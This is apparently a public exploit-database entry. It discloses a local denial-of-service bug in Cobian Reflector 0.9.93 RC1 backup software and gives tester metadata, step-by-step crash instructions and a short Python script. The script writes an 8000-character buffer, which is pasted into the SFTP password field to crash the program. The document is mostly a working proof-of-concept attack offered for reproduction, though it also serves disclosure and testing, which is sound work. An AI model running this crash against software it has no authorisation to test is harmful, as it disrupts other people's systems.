[local] Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)

# Exploit Title: Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC) # Discovery by: Luis Martinez # Discovery Date: 2022-02-16 # Vendor Homepage: https://www.cobiansoft.com/ # Software Link: https://files.cobiansoft.com/programs/crSetup-0.9.93-RC1.exe # Tested Version: 0.9.93 RC1 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # Steps to Produce the Crash: # 1.- Run python code: Cobian_Reflector_0.9.93_RC1.py # 2.- Open Cobian_Reflector_0.9.93_RC1.txt and copy content to clipboard # 3.- Open "Cobian Reflector User Interface" # 4.- Task -> "New task" # 5.- Files -> Source "Add" -> SFTP # 6.- Host -> 10.10.10.10 # 7.- Port-> 22 # 8.- User name -> admin # 9.- Paste ClipBoard on "Password" # 10.- Test settings # 11.- Yes # 12.- Crashed #!/usr/bin/env python buffer = "\x41" * 8000 f = open ("Cobian_Reflector_0.9.93_RC1.txt", "w") f.write(buffer) f.close()